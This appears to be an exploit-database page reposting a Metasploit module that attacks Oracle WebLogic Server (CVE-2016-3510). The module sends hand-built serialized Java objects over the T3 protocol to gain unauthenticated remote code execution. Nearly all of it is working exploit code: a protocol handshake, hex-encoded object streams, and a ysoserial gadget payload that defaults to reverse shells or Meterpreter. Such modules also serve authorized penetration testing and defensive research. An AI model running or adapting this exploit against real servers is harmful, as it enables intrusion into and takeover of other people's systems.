Oracle Weblogic Server Deserialization MarshalledObject Remote Code Execution

2019.04.02
Credit: Jacob Baines
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Tcp #include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject', 'Description' => %q{ An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a serialized object (weblogic.corba.utils.MarshalledObject) to the interface to execute code on vulnerable hosts. }, 'Author' => [ 'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com) 'Jacob Baines', # Vulnerability Discovery - Tenable Network Security 'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-3510 '] ], 'Privileged' => false, 'Platform' => %w{ unix win solaris }, 'Targets' => [ [ 'Unix', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}, 'Payload' => { 'Encoder' => 'cmd/ifs', 'BadChars' => ' ', 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'} } ], [ 'Windows', 'Platform' => 'win', 'Payload' => {}, 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'} ], [ 'Solaris', 'Platform' => 'solaris', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 12 }, 'DisclosureDate' => 'Jul 19 2016')) register_options([Opt::RPORT(7001)]) end =begin This check is currently incompatible with the Tcp mixin. :-( def check resp = send_request_cgi( 'method' => 'GET', 'uri' => '/console/login/LoginForm.jsp' ) return CheckCode::Unknown unless resp && resp.code == 200 unless resp.body.include?('Oracle WebLogic Server Administration Console') vprint_warning("Oracle WebLogic Server banner cannot be found") return CheckCode::Unknown end /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body unless version vprint_warning("Oracle WebLogic Server version cannot be found") return CheckCode::Unknown end version = Gem::Version.new(version) vprint_good("Detected Oracle WebLogic Server Version: #{version}") case when version.to_s.start_with?('10.3') return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0') when version.to_s.start_with?('12.1.3') return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0') when version.to_s.start_with?('12.2') return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0') end return CheckCode::Safe end =end def t3_handshake # retrieved from network traffic shake = "t3 12.2.1\n" shake << "AS:255\n" shake << "HL:19\n" shake << "MS:10000000\n\n" sock.put(shake) sleep(1) sock.get_once end def build_t3_request_object # T3 request serialized data # retrieved by watching network traffic # This is a proprietary, undocumented protocol # TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT? data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a' data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278' data << '700000000a000000030000000000000006007070707070700000000a00000003' data << '0000000000000006007006' data << 'fe010000' # ----- separator ----- data << 'aced0005' # JSO v5 header data << '73' # object header data << '72001d' # className (29 bytes): data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry data << '5461626c65456e747279' # (continued) data << '2f52658157f4f9ed' # serialVersionUID data << '0c00007870' # remainder of object header data << '72' # object header data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo data << '65726e616c2e5061636b616765496e666f' # (continued) data << 'e6f723e7b8ae1ec9' # serialVersionUID data << '02' # SC_SERIALIZABLE data << '0008' # fieldCount = 8 data << '4900056d616a6f72' # 0: Int: major data << '4900056d696e6f72' # 1: Int: minor data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch data << '49000b736572766963655061636b' # 3: Int: servicePack data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch data << '4c0009696d706c5469746c65' # 5: Obj: implTitle data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor data << '71007e0003' # (Handle) 0x007e0003 data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion data << '71007e0003' # (Handle) 0x007e0003 data << '78707702000078' # block footers data << 'fe010000' # ----- separator ----- data << 'aced0005' # JSO v5 header data << '7372' # object header data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry data << '735461626c65456e747279' # (continued) data << '2f52658157f4f9ed' # serialVersionUID data << '0c' # EXTERNALIZABLE | BLOCKDATA data << '00007870' # remainder of object header data << '72' # object header data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo data << 'e7465726e616c2e56657273696f6e496e666f' # (continued) data << '972245516452463e' # serialVersionUID data << '02' # SC_SERIALIZABLE data << '0003' # fieldCount = 3 data << '5b0008' # array header (8 bytes) data << '7061636b61676573' # ARRAY NAME = 'packages' data << '740027' # TC_STRING className1 (39 bytes) data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo data << '6e7465726e616c2f5061636b616765496e666f' # (continued) data << '3b' # (continued) data << '4c000e' # object header (14 bytes) data << '72656c6561736556657273696f6e' # releaseVersion data << '740012' # TC_STRING (18 bytes) data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes data << '5b0012' # array header (18 bytes) data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String; data << '740002' # TC_STRING (2 bytes) data << '5b42' # 0x5b42 = [B data << '78' # block footer data << '720024' # class (36 bytes) data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo data << '7465726e616c2e5061636b616765496e666f' # (continued) data << 'e6f723e7b8ae1ec9' # serialVersionUID data << '02' # SC_SERIALIZABLE data << '0008' # fieldCount = 8 data << '4900056d616a6f72' # 0: Int: major data << '4900056d696e6f72' # 1: Int: minor data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch data << '49000b736572766963655061636b' # 3: Int: servicePack data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch data << '4c0009696d706c5469746c65' # 5: Obj: implTitle data << '71' # TC_REFERENCE data << '007e0004' # Handle = 0x007e0004 data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor data << '71' # TC_REFERENCE data << '007e0004' # Handle = 0x007e0004 data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion data << '71' # TC_REFERENCE data << '007e0004' # Handle = 0x007e0004 data << '78' # class footer data << '70' # TC_NULL data << '77020000' # BLOCKDATA (2 bytes): 0x0000 data << '78' # block footer data << 'fe010000' # ----- separator ----- data << 'aced0005' # JSO v5 header data << '73' # object header data << '72001d' # className (29 bytes): data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry data << '5461626c65456e747279' # (continued) data << '2f52658157f4f9ed' # serialVersionUID data << '0c00007870' # remainder of object header data << '720021' # className (33 bytes) data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo data << '65726e616c2e50656572496e666f' # (continued) data << '585474f39bc908f1' # serialVersionUID data << '02' # SC_SERIALIZABLE data << '0006' # fieldCount = 6 data << '4900056d616a6f72' # 0: Int: major data << '4900056d696e6f72' # 1: Int: minor data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch data << '49000b736572766963655061636b' # 3: Int: servicePack data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch data << '5b00087061636b61676573' # 5: Array: packages data << '740027' # TC_STRING (39 bytes) data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo; data << '6e7465726e616c2f5061636b616765496e666f' # (continued) data << '3b' # (continued) data << '78' # block footer data << '720024' # class (36 bytes) data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo; data << '65726e616c2e56657273696f6e496e666f' # (continued) data << '972245516452463e' # serialVersionUID data << '02' # SC_SERIALIZABLE data << '0003' # fieldCount = 3 data << '5b0008' # 0: Array data << '7061636b6167657371' # packages data << '007e0003' # Handle = 0x00730003 data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String; data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes data << '740002' # TC_STRING (2 bytes) data << '5b42' # VALUE = 0x5b42 = [B data << '78' # block footer data << '720024' # class: (36 bytes) data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo data << '6e616c2e5061636b616765496e666f' # (continued) data << 'e6f723e7b8ae1ec9' # serialVersionUID data << '02' # SC_SERIALIZABLE data << '0008' # fieldCount = 8 data << '4900056d616a6f72' # 0: Int: major data << '4900056d696e6f72' # 1: Int: minor data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch data << '49000b736572766963655061636b' # 3: Int: servicePack data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch data << '4c0009696d706c5469746c65' # 5: Obj: implTitle data << '71' # TC_REFERENCE data << '007e0005' # Handle = 0x007e0005 data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor data << '71' # TC_REFERENCE data << '007e0005' # Handle = 0x007e0005 data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion data << '71' # TC_REFERENCE data << '007e0005' # Handle = 0x007e0005 data << '78' # class footer data << '707702000078' # block footers data << 'fe00ff' # this cruft again. some kind of footer data << 'fe010000' # ----- separator ----- # weblogic.rjvm.JVMID object data << 'aced0005' # JSO v5 header data << '73' # object header data << '720013' # class (19 bytes) data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID' data << 'dc49c23ede121e2a' # serialVersionUID data << '0c' # EXTERNALIZABLE | BLOCKDATA data << '0000' # fieldCount = 0 (!!!) data << '78' # block footer data << '70' # NULL data << '7750' # block header (80 bytes) data << '21' # ! data << '000000000000000000' # 9 NULL BYTES data << '0d' # \n data << '3139322e3136382e312e323237' # 192.168.1.227 data << '00' # \0 data << '12' # #TODO: UNKNOWN data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6 data << '2e' # #TODO: UNKNOWN data << '656883348cd6000000070000' # #TODO: UNKNOWN data << rport.to_s(16).rjust(4, '0') # callback port data << 'ffffffffffffffffffffffffffffffffffffff' # #TODO: UNKNOWN data << 'ffffffffff' # #TODO: UNKNOWN data << '78' # block footer data << 'fe010000' # ----- separator ----- # weblogic.rjvm.JVMID object data << 'aced0005' # JSO v5 header data << '73' # object header data << '72' # class data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID data << 'dc49c23ede121e2a' # serialVersionUID data << '0c' # EXTERNALIZABLE | BLOCKDATA data << '0000' # fieldCount = 0 data << '78' # end block data << '70' # TC_NULL data << '77' # block header data << '20' # length = 32 bytes data << '0114dc42bd071a772700' # #TODO: UNKNOWN data << '0d' # \n data << '3234322e3231342e312e323534' # 242.214.1.254 data << '61863d1d' # #TODO: UNKNOWN data << '00000000' # NULL BYTES data << '78' # block footer sock.put([data].pack('H*')) sleep(1) sock.get_once end def send_payload_objdata # payload creation if target.name == 'Windows' pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true}) elsif target.name == 'Unix' || target.name == 'Solaris' nix_cmd = payload.encoded end # basic weblogic ClassTableEntry object (serialized) # TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT? payload = '056508000000010000001b0000005d0101007372017870737202787000000000' payload << '00000000757203787000000000787400087765626c6f67696375720478700000' payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306' payload << 'fe010000' # ----- separator ----- payload << 'aced0005' # JSO v5 header payload << '73' # object header payload << '72' # class payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry payload << '73735461626c65456e747279' # (cont) payload << '2f52658157f4f9ed' # serialVersionUID payload << '0c' # EXTERNALIZABLE | BLOCKDATA payload << '0000' # fieldCount = 0 payload << '7870' # remaining object header payload << '72' # class header payload << '00025b42' # Name: 0x5b42 payload << 'acf317f8060854e0' # serialVersionUID payload << '02' # SERIALIZABLE payload << '0000' # fieldCount = 0 payload << '7870' # class footer payload << '77' # block header payload << '020000' # contents = 0x0000 payload << '78' # block footer payload << 'fe010000' # ----- separator ----- payload << 'aced0005' # JSO v5 header payload << '73' # object header payload << '72' # class payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry payload << '73735461626c65456e747279' # (cont) payload << '2f52658157f4f9ed' # serialVersionUID payload << '0c' # EXTERNALIZABLE | BLOCKDATA payload << '0000' # fieldCount = 0 payload << '7870' # remaining object header payload << '72' # class header payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object; payload << '6563743b' # (cont) payload << '90ce589f1073296c' # serialVersionUID payload << '02' # SERIALIZABLE payload << '0000' # fieldCount = 0 payload << '7870' # remaining object header payload << '77' # block header payload << '020000' # contents = 0x0000 payload << '78' # block footer payload << 'fe010000' # ----- separator ----- payload << 'aced0005' # JSO v5 header payload << '73' # object header payload << '72' # class payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry payload << '73735461626c65456e747279' # (cont) payload << '2f52658157f4f9ed' # serialVersionUID payload << '0c' # SERIALIZABLE | BLOCKDATA payload << '0000' # fieldCount = 0 payload << '7870' # block footer payload << '72' # class header payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector payload << 'd9977d5b803baf01' # serialVersionUID payload << '03' # WRITE_METHOD | SERIALIZABLE payload << '0003' # fieldCount = 3 payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount payload << '5b000b656c656d656e7444617461' # 2: Array: elementData payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object; payload << '743b' # (cont) payload << '7870' # remaining object header payload << '77' # block header payload << '020000' # contents = 0x0000 payload << '78' # block footer payload << 'fe010000' # ----- separator ----- # payload generated from ysoserial and wrapped in a MarshalledObject: payload << 'aced0005' # JSO v5 header payload << '73' # object header payload << '72' # class header payload << '00257765626c6f6769632e636f7262612e757469' # Name = weblogic.corba.utils.MarshalledObject payload << '6c732e4d61727368616c6c65644f626a656374' # (cont) payload << '592161d5f3d1dbb6' # serialVersionUID payload << '02' # SERIALIZABLE payload << '0002' # fieldCount = 2 payload << '49000468617368' # 0: Int: hash payload << '5b00086f626a4279746573' # 1: Array: objBytes payload << '7400025b42' # Value: 0x5b42 payload << '7870' # class footer # class Data: payload << '21210fdc' # hash = 0x21210fdc (555814876d) payload << '757200025b42' # objBytes = [ 0x5b42 ] payload << 'acf317f8060854e0' # serialVersionUID payload << '02' # SERIALIZABLE payload << '0000' # fieldCount = 0 payload << '7870' # class footer payload << '0000' # arraySize (first two bytes) payload << (pwrshl.length + 1392).to_s(16).rjust(4,'0')# arraySize (lower two bytes) # 1392 is there because of the 0x0600 constant below # java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",pwrshl) payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join # basic weblogic ImmutableServiceContext object (serialized) payload << 'fe010000' # ----- separator ----- payload << 'aced0005' # JSO v5 header payload << '73' # object header payload << '72' # class payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name = weblogic.rjvm.ImmutableServiceContext payload << '7461626c6553657276696365436f6e74657874' # (cont) payload << 'ddcba8706386f0ba' # serialVersionUID payload << '0c' # SERIALIZABLE | BLOCKDATA payload << '0000' # fieldCount = 0 payload << '78' # remainder of object header payload << '72' # class header payload << '00297765626c6f6769632e726d692e70726f7669' # Name: weblogic.rmi.provider.BasicServiceContext payload << '6465722e426173696353657276696365436f6e74' # (cont) payload << '657874' # (cont) payload << 'e4632236c5d4a71e' # serialVersionUID payload << '0c' # SERIALIZABLE | BLOCKDATA payload << '0000' # fieldCount = 0 payload << '78' # block footer payload << '70' # TC_NULL payload << '77' # block header payload << '020600' # Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW #TODO: WHY? payload << '73' # object header payload << '72' # class description payload << '00267765626c6f6769632e726d692e696e746572' # Name = weblogic.rmi.internal.MethodDescriptor payload << '6e616c2e4d6574686f6444657363726970746f72' # (cont) payload << '12485a828af7f67b' # serialVersionUID payload << '0c' # EXTERNALIZABLE | BLOCKDATA payload << '0000' # fieldCount = 0 payload << '78' # block footer payload << '70' # TC_NULL payload << '77' # block header payload << '34002e61757468656e746963617465284c776562' # HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;) payload << '6c6f6769632e73656375726974792e61636c2e55' # (cont) payload << '736572496e666f3b290000001b' # (cont) payload << '78' # block footer payload << '78' # object footer payload << 'fe00ff' # this cruft again. some kind of footer # sets the length of the stream data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0') data << payload sock.put([data].pack('H*')) sleep(1) sock.get_once end def exploit connect print_status('Sending handshake...') t3_handshake print_status('Sending T3 request object...') build_t3_request_object print_status('Sending client object payload...') send_payload_objdata handler disconnect end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top